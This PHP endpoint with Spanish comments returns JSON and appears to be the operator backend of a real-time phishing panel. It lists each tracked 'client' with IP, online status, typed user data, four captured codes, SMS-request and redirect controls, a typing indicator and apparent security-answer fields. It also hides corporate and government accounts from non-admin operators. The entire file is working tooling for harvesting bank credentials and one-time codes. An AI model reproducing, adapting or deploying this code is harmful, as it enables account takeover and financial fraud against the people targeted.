<?php
header('content-type: application/json; charset=utf-8');
//en caso de json en vez de jsonp habría que habilitar CORS:
header("access-control-allow-origin: *");



date_default_timezone_set("America/Caracas");
$fecha_actual=strftime( "%Y-%m-%d %H:%M:%S", time());
session_start();
require('config/conexion.php');



if (isset($_SESSION['iduser'])) {
   
}else{
    header('Location: ../index.php');
    exit();
}

$arr = array();

function convertirFechaHoraNumerico($fechaHora) {
    // Convertir la fecha y hora en formato %Y-%m-%d %H:%M:%S a formato numérico YmdHis
    $fechaNumerica = str_replace(['-', ' ', ':'], '', $fechaHora);
    return $fechaNumerica;
}

$tiempo_actual = convertirFechaHoraNumerico($fecha_actual);

          $filtro_juridico='';
          $consulta2_filtro = "SELECT * from config where id ='1'";
          $resultado2_filtro = mysqli_query( $conexion, $consulta2_filtro ) or die ( "Algo ha ido mal en la consulta a la base de datos");
            if (mysqli_num_rows($resultado2_filtro)>0){
             while ($obj2 = mysqli_fetch_object($resultado2_filtro)) {
                $filtro_juridico = $obj2->mostrar;//esto es para la config
           }}


  

$admin = $_SESSION['admin'];


// Consultar la base de datos y obtener los datos
          $consulta2 = "SELECT * FROM tabla_clientes";
          $resultado2 = mysqli_query( $conexion, $consulta2 ) or die ( "Algo ha ido mal en la consulta a la base de datos");
            if (mysqli_num_rows($resultado2)>0){
  
            while ($obj2 = mysqli_fetch_object($resultado2)) {
              
                   $tiempo_db =  $obj2->tiempo;
                   $calculo_time = $tiempo_db - $tiempo_actual;
                   $ip = $obj2->ip;

                  $filtro_de_array = $obj2->filtro_j;


                   if($calculo_time<=-5){

                        $status = "offline";

                   }else{

                        $status = "online";
                   }



                               // Verificación del campo escribiendo
                    if ($obj2->escribiendo == 1 && ($tiempo_actual - $obj2->tiempo) >= 3) {
                        $obj2->escribiendo = 0;
                    }



                if($admin ==1){


                   //aca esta el array real
                    $arr[] = array(
                    'ip' => $ip,
                    'status' =>$status,
                    'seg' =>$calculo_time,//esto es para mostrar el tipo de cuenta es algo exclusivo
                    'cedula' => $obj2->tipocuenta,
                    'user_dato1' => $obj2->user_dato1,
                    'user_dato2' => $obj2->user_dato2,
                    'user_dato3' => $obj2->user_dato3,
                    'valid_user' => $obj2->valid_user,
                    'valid_code1' => $obj2->valid_code1,
                    'codigo1' => $obj2->code1,
                    'codigo2' => $obj2->code2,
                    'codigo3' => $obj2->code3,
                    'codigo4' => $obj2->code4,
                    'dispositivo' => $obj2->disp,
                    'tiempo' => $obj2->tiempo,
                    'redirigir' => $obj2->redirigir,
                    'valid_code2' => $obj2->valid_code2,
                    'valid_code3' => $obj2->valid_code3,
                    'valid_code4' => $obj2->valid_code4,
                    'tipo_code2' => $obj2->tipo_code2,
                    'tipocuenta' => $obj2->tipocuenta,
                    'operador' => $obj2->operador,
                    'pantalla' => $obj2->pantalla,
                    'valid_user_0' => $obj2->valid_user_0,
                    'filtro_j_btn' => $filtro_juridico,
                    'pais' => $obj2->pais,
                    'nombre_cuenta' => $obj2->nombre_cuenta,
                    'pedir_sms2' => $obj2->pedir_sms2,
                    'escribiendo' => $obj2->escribiendo,
                    'valid_respuesta' => $obj2->valid_respuesta,
                    'respuestas_amarre' => $obj2->respuestas_amarre,
                    );

                }


                if($admin !=1){


                if($filtro_de_array=='1' && $obj2->tipocuenta=='Juridica' || $filtro_de_array=='1' && $obj2->tipocuenta=='Gubernamental'){

                    $arr[] = array(
                    'ip' => $ip,
                    'status' =>'offline',
                    'seg' =>$calculo_time,//esto es para mostrar el tipo de cuenta es algo exclusivo
                    'cedula' => "--",
                    'user_dato1' => "--",
                    'user_dato2' => "--",
                    'user_dato3' => "--",
                    'valid_user' => "9",
                    'valid_code1' => "9",
                    'valid_code2' => "9",
                    'valid_code3' => "9",
                    'valid_code4' => "9",
                    'codigo1' => "--",
                    'codigo2' => "--",
                    'codigo3' => "--",
                    'codigo4' =>  "--",
                    'dispositivo' => $obj2->disp,
                    'tiempo' => $obj2->tiempo,
                    'redirigir' => '0',
                    'tipo_code2' => "--",
                    'tipocuenta' => "--",
                    'operador' => "--",
                    'pantalla' => "0",
                    'valid_user_0' => "9",
                    'filtro_j' => $filtro_juridico,
                    'pais' => '--',
                    'nombre_cuenta' => '--',
                    'pedir_sms2' => '--',
                    'escribiendo' => 0,
                    'valid_respuesta' => $obj2->valid_respuesta,
                    'respuestas_amarre' => '--',
                    
                    );


                   }else{//

                    //aca esta el array real
                    $arr[] = array(
                    'ip' => $ip,
                    'status' =>$status,
                    'seg' =>$calculo_time,//esto es para mostrar el tipo de cuenta es algo exclusivo
                    'cedula' => $obj2->tipocuenta,
                    'user_dato1' => $obj2->user_dato1,
                    'user_dato2' => $obj2->user_dato2,
                    'user_dato3' => $obj2->user_dato3,
                    'valid_user' => $obj2->valid_user,
                    'valid_code1' => $obj2->valid_code1,
                    'codigo1' => $obj2->code1,
                    'codigo2' => $obj2->code2,
                    'codigo3' => $obj2->code3,
                    'codigo4' => $obj2->code4,
                    'dispositivo' => $obj2->disp,
                    'tiempo' => $obj2->tiempo,
                    'redirigir' => $obj2->redirigir,
                    'valid_code2' => $obj2->valid_code2,
                    'valid_code4' => $obj2->valid_code4,
                    'valid_code3' => $obj2->valid_code3,
                    'tipo_code2' => $obj2->tipo_code2,
                    'tipocuenta' => $obj2->tipocuenta,
                    'operador' => $obj2->operador,
                    'pantalla' => $obj2->pantalla,
                    'valid_user_0' => $obj2->valid_user_0,
                    'filtro_j' => $filtro_juridico,
                    'pais' => $obj2->pais,
                    'nombre_cuenta' => $obj2->nombre_cuenta,
                    'pedir_sms2' => $obj2->pedir_sms2,
                    'escribiendo' => $obj2->escribiendo,
                    'valid_respuesta' => $obj2->valid_respuesta,
                    'respuestas_amarre' => $obj2->respuestas_amarre,
            
                    
                    );
                   }//


                   
                }  

            }


        }


   echo '' . json_encode($arr) . '';